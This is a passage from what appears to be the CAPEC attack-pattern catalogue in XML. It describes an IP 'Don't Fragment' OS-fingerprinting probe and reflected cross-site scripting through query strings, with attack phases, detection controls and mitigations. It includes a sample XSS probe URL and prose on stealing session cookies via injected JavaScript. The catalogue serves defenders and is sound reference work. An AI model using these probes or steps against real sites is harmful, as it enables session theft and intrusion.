									<Related_Protocol Name="Internet Control Messaging Protocol"
										RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="Transmission Control Protocol" RFC="793">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="User Datagram Protocol" RFC="792">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="IP Datagram Reassembly Algorithms"
										RFC="815">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="Path MTU Discovery" RFC="1191">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Typical_Severity>Low</Typical_Severity>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>314<!--IP Fingerprinting Probes--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 56</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC793 - Transmission Control Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc793.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Chapter 8. Remote OS Detection</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC,
						ISBN:978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>The Art of Port Scanning</Reference_Title>
					<Reference_Edition>Volume: 7, Issue. 51</Reference_Edition>
					<Reference_Publisher>Phrack Magazine</Reference_Publisher>
					<Reference_PubDate>1997</Reference_PubDate>
					<Reference_Link>http://nmap.org/p51-11.html</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="319" Name="IP (DF) 'Don't Fragment Bit' Echoing Probe"
			Pattern_Abstraction="Detailed" Status="Draft">
			<Description>
				<Summary>
					<Text>This OS fingerprinting probe tests to determine if the remote host echoes
						back the IP 'DF' (Don't Fragment) bit in a response packet. An attacker
						sends a UDP datagram with the DF bit set to a closed port on the remote host
						to observe whether the 'DF' bit is set in the response packet. Some
						operating systems will echo the bit in the ICMP error message while others
						will zero out the bit in the response packet. </Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Transport Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="IP" RFC="791">
								<Protocol_Structure>
									<Protocol_Header ID="1" Name="IP Header">
										<Protocol_Field_Name>Flags</Protocol_Field_Name>
										<Protocol_Field_Description>The Don't Fragment Flag
											indicates that a datagram should not be fragmented under
											any circumstance.</Protocol_Field_Description>
										<Protocol_Flag_Value>DF</Protocol_Flag_Value>
									</Protocol_Header>
								</Protocol_Structure>
								<Related_Protocols>
									<Related_Protocol Name="Internet Control Messaging Protocol"
										RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="Transmission Control Protocol" RFC="793">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="User Datagram Protocol" RFC="792">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="IP Datagram Reassembly Algorithms"
										RFC="815">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="Path MTU Discovery" RFC="1191">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Typical_Severity>Low</Typical_Severity>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>314<!--IP Fingerprinting Probes--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 56</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC793 - Transmission Control Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc793.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Chapter 8. Remote OS Detection</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC,
						ISBN:978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>The Art of Port Scanning</Reference_Title>
					<Reference_Edition>Volume: 7, Issue. 51</Reference_Edition>
					<Reference_Publisher>Phrack Magazine</Reference_Publisher>
					<Reference_PubDate>1997</Reference_PubDate>
					<Reference_Link>http://nmap.org/p51-11.html</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="32" Name="Embedding Scripts in HTTP Query Strings"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>A variant of cross-site scripting called "reflected" cross-site scripting,
						the HTTP Query Strings attack consists of passing a malicious script inside
						an otherwise valid HTTP request query string. This is of significant concern
						for sites that rely on dynamic, user-generated content such as bulletin
						boards, news sites, blogs, and web enabled administration GUIs. The
						malicious script may steal session data, browse history, probe files, or
						otherwise execute attacks on the client side. Once the attacker has prepared
						the malicious HTTP query it is sent to a victim user (perhaps by email, IM,
						or posted on an online forum), who clicks on a normal looking link that
						contains a poison query string. This technique can be made more effective
						through the use of services like http://tinyurl.com/, which makes very small
						URLs that will redirect to very large, complex ones. The victim will not
						know what he is really clicking on.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Spider</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Using a browser or an automated tool, an attacker
												follows all public links on a web site. He records
												all the links he finds.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use a spidering tool to follow and record
												all links. Make special note of any links that
												include parameters in the URL.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a proxy tool to record all links visited
												during a manual traversal of the web application.
												Make special note of any links that include
												parameters in the URL. Manual traversal of this
												type is frequently necessary to identify forms
												that are GET method forms rather than POST
												forms.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Use a browser to manually explore the
												website and analyze how it is constructed. Many
												browser's plugins are available to facilitate the
												analysis or automate the URL discovery.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>URL parameters are used by the application
												or the browser (DOM)</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>Using URL rewriting, parameters may be part
												of the URL path.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="3" type="Inconclusive">
												<Indicator_Description>
												<Text>No parameters appear on the URL. Even though
												none appear, the web application may still use
												them if they are provided.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="4" type="Inconclusive">
												<Indicator_Description>
												<Text>Application could use POST variable as GET
												inside the application. Therefore, looking for
												POST parameters and adding them to the query
												string.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="5" type="Negative">
												<Indicator_Description>
												<Text>Applications that have only static pages or
												that simply present information without accepting
												input are unlikely to be susceptible.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A list of URLs, with their
												corresponding parameters is created by the
												attacker.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor velocity of
												page fetching in web logs. Humans who view a page
												and select a link from it will click far slower
												and far less regularly than tools. Tools make
												requests very quickly and the requests are
												typically spaced apart regularly (e.g. 0.8 seconds
												between them).</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Create links on some
												pages that are visually hidden from web browsers.
												Using IFRAMES, images, or other HTML techniques,
												the links can be hidden from web browsing humans,
												but visible to spiders and programs. A request for
												the page, then, becomes a good predictor of an
												automated tool probing the
												application.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Use CAPTCHA to prevent
												the use of the application by an automated
												tool.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be
												automated.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Attempt variations on input
											parameters</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Possibly using an automated tool, an attacker
												requests variations on the URLs he spidered before.
												He sends parameters that include variations of
												payloads. He records all the responses from the
												server that include unmodified versions of his
												script.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use a list of XSS probe strings to inject in
												parameters of known URLs. If possible, the probe
												strings contain a unique identifier.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a proxy tool to record results of manual
												input of XSS probes in known URLs.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The output of pages includes some form of a
												URL parameter. E.g., ?error="File not Found"
												becomes "File not Found" in the title of the web
												page.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>Input parameters become part of JavaScript,
												VBScript, or other script in a web page.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="3" type="Inconclusive">
												<Indicator_Description>
												<Text>Nothing is returned to the web page. It may
												be a stored XSS. The unique identifier from the
												probe helps to trace the flow of the possible
												XSS.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker's cross-site
												scripting string is repeated back verbatim at some
												point in the web site (if not on the same page).
												Note that sometimes, the payload might be well
												encoded in the page, but wouldn't be encoded at
												all in some other section of the same web page
												(title, script, etc.)</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>All HTML-sensitive characters
												are consistently re-encoded before being sent to
												the web browser.</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Inconclusive">
												<Outcome_Description>Some sensitive characters are
												consistently encoded, but others are
												not.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor input to web
												servers, application servers, and other HTTP
												infrastructure (e.g., load balancers). Alert on
												standard XSS probes. The majority of attackers use
												well known strings to check for vulnerabilities.
												Use the same vulnerability catalogs that hackers
												use.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Do not embed
												user-controllable input generated HTTP
												headers</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Steal session IDs, credentials, page
											content, etc.</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>As the attacker succeeds in exploiting the
												vulnerability, he can choose to steal user's
												credentials in order to reuse or to analyze them
												later on.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that is
												injected through vectors identified during the
												Experiment Phase and loaded by the victim's
												browser and sends document information to the
												attacker.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that injected
												through vectors identified during the Experiment
												Phase and takes commands from an attacker's server
												and then causes the browser to execute
												appropriately.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker gets the user's
												cookies or other session
												identifiers.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>The attacker gets the content
												of the page the user is
												viewing.</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Success">
												<Outcome_Description>The attacker causes the user's
												browser to visit a page with malicious
												content.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for scripting
												parameters.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Monitor server logs
												for referrers. If users are being tricked into
												clicking XSS links through forums or other web
												postings, their web browsers will be providing
												Referrer headers most of the time. These can help
												indicate that the actual request is
												illegitimate.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Appropriately encode
												all browser output to avoid scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="5" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Forceful browsing</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>When the attacker targets the current application
												or another one (through CSRF vulnerabilities), the
												user will then be the one who perform the attacks
												without being aware of it. These attacks are mostly
												targeting application logic flaws, but it can also
												be used to create a widespread attack against a
												particular website on the user's current network
												(Internet or not).</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that is
												injected through vectors identified during the
												Experiment Phase and loaded by the victim's
												browser and performs actions on the same web
												site</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that injected
												through vectors identified during the Experiment
												Phase and takes commands from an attacker's server
												and then causes the browser to execute request to
												other web sites (especially the web applications
												that have CSRF vulnerabilities).</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker indirectly
												controls the user's browser and makes it
												performing actions exploiting
												CSRF.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>The attacker manipulates the
												browser through the steps that he designed in his
												attack. The user, identified on a website, is now
												performing actions he is not aware
												of.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for scripting
												parameters.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Monitor server logs
												for referrers. If users are being tricked into
												clicking XSS links through forums or other web
												postings, their web browsers will be providing
												Referrer headers most of the time. These can help
												indicate that the actual request is
												illegitimate.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Appropriately encode
												all browser output to avoid scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="5" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Title>Content spoofing</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>By manipulating the content, the attacker targets
												the information that the user would like to get from
												the website.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that is
												injected through vectors identified during the
												Experiment Phase and loaded by the victim's
												browser and exposes attacker-modified invalid
												information to the user on the current web
												page.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The user sees a page containing
												wrong information</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for scripting
												parameters.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for referrers. If users are being tricked into
												clicking XSS links through forums or other web
												postings, their web browsers will be providing
												Referrer headers most of the time. These can help
												indicate that the actual request is
												illegitimate.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Appropriately encode
												all browser output to avoid scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Target client software must allow scripting such as Javascript. Server
						software must allow display of remote generated HTML without sufficient
						input or output validation.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>http://user:host@example.com:8080/oradb&lt;script&gt;alert('Hi')&lt;/script&gt;</Text>
					</Example-Instance_Description>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Web applications that accept name value pairs in a HTTP Query string
							are inherently at risk to any value (or name for that matter) that an
							attacker would like to enter in the query string. This can be done
							manually via web browser or trivially scripted to post the query string
							to multiple sites. In the latter case, in the instance of many sites
							using similar infrastructure with predictable http queries being
							accepted and operated on (such as blogging software, Google
							applications, and so on), a single malicious payload can be scritped to
							target a wide variety of sites.</Text>
						<Text>Web 2.0 type sites like Technorati and del.icio.us rely on user
							generated content like tags to build http links that are displayed to
							other users. del.icio.us allows users to identify sites, tag them with
							metadata and provide URL, descriptions and more data. This data is then
							echoed back to any other web browser that is interested in the link. If
							the data is not validated by the del.icio.us site properly then an
							abritrary code can be added into the standard http string sent to
							del.icio.us by the attacker, for example formatted as normal content
							with a URL and description and tagged as Java, and available to be
							clicked on (and executed by) any user browsing for Java content that
							clicks on this trojaned content.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To place malicious payload on server via HTTP</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Exploiting any information gathered by HTTP Query on script
							host</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Ability to send HTTP post to scripting host and collect output</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Use browser technologies that do not allow client side
						scripting.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Utilize strict type, character, and encoding enforcement</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Server side developers should not proxy content via XHR or other
						means, if a http proxy for remote content is setup on the server side, the
						client's browser has no way of discerning where the data is originating
						from.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Ensure all content that is delivered to client is
						sanitized against an acceptable content specification.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Perform input validation for all remote content, including
						remote and user-generated content</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Perform output validation for all remote content.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Disable scripting languages such as Javascript in
						browser</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Session tokens for specific host</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Patching software. There are many attack vectors for XSS
						on the client side and the server side. Many vulnerabilities are fixed in
						service packs for browser, web servers, and plug in technologies, staying
						current on patch release that deal with XSS countermeasures mitigates
						this.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Privileges are constrained, if a script is loaded, ensure
						system runs in chroot jail or other limited authority mode</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Script delivered through standard web server, such as a web server with
					user-generated content.</Text>
			</Injection_Vector>
			<Payload>
				<Text>HTTP Request Query String</Text>
			</Payload>
			<Activation_Zone>
				<Text>Client web browser where script is executed</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Client web browser may be used to steal session data, passwords, cookies,
						and other tokens.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>79<!--Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>84<!--Improper Neutralization of Encoded URI Schemes in a Web Page--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>85<!--Doubled Character XSS Manipulations--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>86<!--Improper Neutralization of Invalid Characters in Identifiers in Web Pages--></CWE_ID>

